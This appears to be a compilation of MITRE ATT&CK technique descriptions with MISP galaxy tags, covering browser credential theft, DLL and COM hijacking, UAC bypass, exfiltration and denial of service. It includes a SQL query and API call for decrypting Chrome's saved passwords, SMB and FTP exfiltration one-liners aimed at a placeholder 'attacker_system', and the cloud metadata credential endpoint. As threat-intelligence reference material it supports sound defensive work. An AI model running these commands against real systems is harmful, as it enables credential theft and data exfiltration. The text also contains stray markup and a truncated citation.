Adversaries may acquire credentials from web browsers by reading files specific to the target browser. (Citation: Talos Olympic Destroyer 2018)

Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.

For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, `<code>AppData\Local\Google\Chrome\User Data\Default\Login Data</code>` and executing a SQL query: `<code>SELECT action_url, username_value, password_value FROM logins;</code>`. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function `<code>CryptUnprotectData</code>`, which uses the victim's cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)

Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)

Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials. (Citation: GitHub Mimikittenz July 2016)

After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap.
with privileged accounts (e.g. domain administrator).

The tag is: `misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503"`

---

**File and Directory Discovery - T1083**

Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

**Windows**

Example utilities used to obtain this information are `<code>dir</code>` and `<code>tree</code>`. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Windows API.

**Mac and Linux**

In Mac and Linux, this kind of discovery is accomplished with the `<code>ls</code>`, `<code>find</code>`, and `<code>locate</code>` commands.

The tag is: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"

---

**DLL Search Order Hijacking - T1038**

Windows systems use a common method to look for required DLLs to load into a program.
Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence.

Adversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL.

Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)

If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.

Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.

**Deploy exploit using advertising - T1380**

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Exploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPaMalvertising)
Detect App Analysis Environment - T1440

An adversary could evade app vetting techniques by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis.

Discussion of general Android anti-analysis techniques can be found in (Citation: Petsas). Discussion of Google Play Store-specific anti-analysis techniques can be found in (Citation: Oberheide-Bouncer), (Citation: Percoco-Bouncer).

(Citation: Wang) presents a discussion of iOS anti-analysis techniques.

Platforms: Android, iOS

File System Permissions Weakness - T1044

Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
Services

Manipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.

Executable Installers

Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the `<code>%TEMP%</code>` directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)

Exfiltration Over Alternative Protocol - T1048

Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different channels could include Internet Web services such as cloud storage.

Adversaries may leverage various operating system utilities to exfiltrate data over an alternative protocol.

SMB command-line example:

• <code>net use \attacker_system\IPC$ /user:username password && xcopy /S /H /C /Y C:\Users\* \attacker_system\share_folder</code>

Anonymous FTP command-line example:(Citation: Palo Alto OilRig Oct 2016)

• <code>echo PUT C:\Path\to\file.txt | ftp -A attacker_system</code>

**System Network Connections Discovery - T1049**

Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.

An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate. (Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview)

**Windows**

Utilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), "net use," and "net session" with [Net](https://attack.mitre.org/software/S0039).
**Mac and Linux**

In Mac and Linux, `<code>netstat</code>` and `<code>lsof</code>` can be used to list current connections. `<code>who -a</code>` and `<code>w</code>` can be used to show which users are currently logged in, similar to "net session".

**Service Registry Permissions Weakness - T1058**

Windows stores local service configuration information in the Registry under `<code>HKLM\SYSTEM\CurrentControlSet\Services</code>`. The information stored under a service’s Registry keys can be manipulated to modify a service’s execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)

If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Adversaries may also alter Registry keys associated with service failure parameters (such as `<code>FailureCommand</code>`) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)

</table>
Indicator Removal from Tools - T1066

If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target’s defensive systems or subsequent targets that may use similar systems.

A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware.

</table>

Exploitation for Privilege Escalation - T1068

Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform Privilege Escalation to include use of software exploitation to circumvent those restrictions.

When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising a endpoint system that has been properly configured and limits other privilege escalation methods.

Bypass User Account Control - T1088

Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.

Many methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

- `<code>eventvwr.exe</code>` can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)

Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)

Exploitation for Defense Evasion - T1211

Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.

Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1063). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.

Extra Window Memory Injection - T1181

Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)

Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.

Execution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process’s memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Endgame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: 828

**Exploitation for Credential Access - T1212**

Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. (Citation: Technet MS14-068) (Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.

**Component Object Model Hijacking - T1122**

The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a
legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

Data from Information Repositories - T1213

Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.

Adversaries may also collect information from shared storage repositories hosted on cloud infrastructure or in software-as-a-service (SaaS) applications, as storage is one of the more fundamental requirements for cloud services and systems.

The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:

- Policies, procedures, and standards
- Physical / logical network diagrams
- System architecture diagrams
- Technical system documentation
- Testing / development credentials
- Work / project schedules
- Source code snippets
- Links to network shares and other internal resources

Specific common information repositories include:

Microsoft SharePoint

Found in many enterprise networks and often used to store and share significant amounts of documentation.
Atlassian Confluence

Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation.

Kernel Modules and Extensions - T1215

Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)

Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)

Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through `<code>kextload</code>` and
<code>kextunload</code> commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)

Execution through Module Load - T1129

The Windows module loader can be instructed to load DLLs from arbitrary local paths and
arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)

The module loader can load DLLs:

- via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;
- via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);
- via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;
- via `<code>loadFrom="fully-qualified or relative pathname"</code>` in an embedded or external "application manifest". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.

Adversaries can use this functionality as a way to execute arbitrary code on a system.

The tag is: `misp-galaxy:mitre-attack-pattern="Execution through Module Load - T1129"`

### Build social network persona - T1341

For attacks incorporating social engineering the utilization of an on-line persona is important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites ([Facebook](https://www.facebook.com), [LinkedIn](https://www.linkedin.com), [Twitter](https://twitter.com), [Google+](https://plus.google.com), etc.). (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)

The tag is: `misp-galaxy:mitre-attack-pattern="Build social network persona - T1341"`

### Remote access tool development - T1351

A remote access tool (RAT) is a piece of software that allows a remote user to control a system as if they had physical access to that system. An adversary may utilize existing RATs, modify existing RATs, or create their own RAT. (Citation: ActiveMalwareEnergy)

The tag is: `misp-galaxy:mitre-attack-pattern="Remote access tool development - T1351"`
Secure and protect infrastructure - T1317

An adversary may secure and protect their infrastructure just as defenders do. This could include the use of VPNs, security software, logging and monitoring, passwords, or other defensive measures. (Citation: KrebsTerracottaVPN)

The tag is: misp-galaxy:mitre-attack-pattern="Secure and protect infrastructure - T1317"

Obfuscate or encrypt code - T1319

Obfuscation is the act of creating code that is more difficult to understand. Encoding transforms the code using a publicly available format. Encryption transforms the code such that it requires a key to reverse the encryption. (Citation: CylanceOpCleaver)

The tag is: misp-galaxy:mitre-attack-pattern="Obfuscate or encrypt code - T1319"

Elevated Execution with Prompt - T1514

Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials. (Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.

Adversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms. (Citation: Death by 1000 installers; it’s all broken!) (Citation: Carbon Black Shlayer Feb 2019) (Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code. (Citation: Death by 1000 installers; it’s all broken!) (Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to
work by modifying legitimate programs present on the machine that make use of this API. (Citation: Death by 1000 installers; it's all broken!)

### Man in the Browser - T1185

Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)

A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions)

Browser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are
separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)

Hidden Files and Directories - T1158

To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS).

Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.

Windows

Users can mark specific files as hidden by using the attrib.exe binary. Simply do <code>attrib +h filename</code> to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.

Linux/Mac

Users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, and then relaunch the Finder Application.
Mac

Files on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.

Cloud Instance Metadata API - T1522

Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.

Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance. (Citation: AWS Instance Metadata API)
If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API. (Citation: RedLock Instance Metadata API 2018)

The de facto standard across cloud service providers is to host the Instance Metadata API at <code>http://169.254.169.254</code>.

**Steal Application Access Token - T1528**

Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering and typically requires user action to grant access.

Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS). (Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow. (Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials.

Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls. (Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a link through [Spearphishing Link](https://attack.mitre.org/techniques/T1192) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1527). (Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)

Adversaries have been seen targeting Gmail, Microsoft Outlook, and Yahoo Mail users. (Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017)

Steal Web Session Cookie - T1539

An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.

Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the target machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypass some multi-factor authentication protocols. (Citation: Pass The Cookie)

There are several examples of malware targeting cookies from web browsers on the local system. (Citation: Kaspersky TajMahal April 2019) (Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Mauraena that can gather session cookies through a man-in-the-middle proxy that can be set up by an adversary and used in phishing campaigns. (Citation: Github evilginx2) (Citation: GitHub Mauraena)

After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1506) technique to login to the corresponding web application.

The tag is: misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539"

Masquerade as Legitimate Application - T1444

An adversary could distribute developed malware by masquerading the malware as a legitimate application. This can be done in two different ways: by embedding the malware in a legitimate application, or by pretending to be a legitimate application.

Embedding the malware in a legitimate application is done by downloading the application, disassembling it, adding the malicious code, and then re-assembling it. (Citation: Zhou) The app would appear to be the original app, but would contain additional malicious functionality. The adversary could then publish the malicious application to app stores or use another delivery method.

Pretending to be a legitimate application relies heavily on lack of scrutinization by the user. Typically, a malicious app pretending to be a legitimate one will have many similar details as the legitimate one, such as name, icon, and description. (Citation: Palo Alto HenBox)

Rogue Cellular Base Station - T1467

An adversary could set up a rogue cellular base station and then use it to eavesdrop on or manipulate cellular device communication. A compromised cellular femtocell could be used to carry out this technique (Citation: Computerworld-Femtocell).

The tag is: 
\textit{misp-galaxy:mitre-attack-pattern="Rogue Cellular Base Station - T1467"}
Data Encrypted for Impact - T1486

Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)

To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)

The tag is: `misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486"`

Exploit via Radio Interfaces - T1477

The mobile device may be targeted for exploitation through its interface to cellular networks or other radio interfaces.
**Baseband Vulnerability Exploitation**

A message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi(Citation: ProjectZero-BroadcomWiFi) or other) to the mobile device could exploit a vulnerability in code running on the device(Citation: Register-BaseStation)(Citation: Weinmann-Baseband).

**Malicious SMS Message**

An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device(Citation: Forbes-iPhoneSMS). An SMS message could also contain a link to a website containing malicious content designed to exploit the device web browser. Vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages(Citation: SRLabs-SIMCard).

**Network Denial of Service - T1498**

Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)

A Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS). Many different methods to accomplish such network saturation have been observed, but most fall into two main categories: Direct Network Floods and Reflection Amplification.

To perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.
Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.

Botnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks. (Citation: USNYAG IranianBotnet March 2016)

For DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).

**Direct Network Flood**

Direct Network Floods are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for Direct Network Floods. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.

**Reflection Amplification**

Adversaries may amplify the volume of their attack traffic by using Reflection. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflector may be used to focus traffic on the target. (Citation: Cloudflare ReflectionDoS May 2017)

Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS (Citation: Cloudflare DNSamplificationDoS) and NTP (Citation: Cloudflare NTPamplificationDoS), though the use of several others in the wild have been documented. (Citation: Arbor Annual DoS report Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet. (Citation: Cloudflare Memcrashed Feb 2018)

The tag is: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498"

Table 2337. Table References
Endpoint Denial of Service - T1499

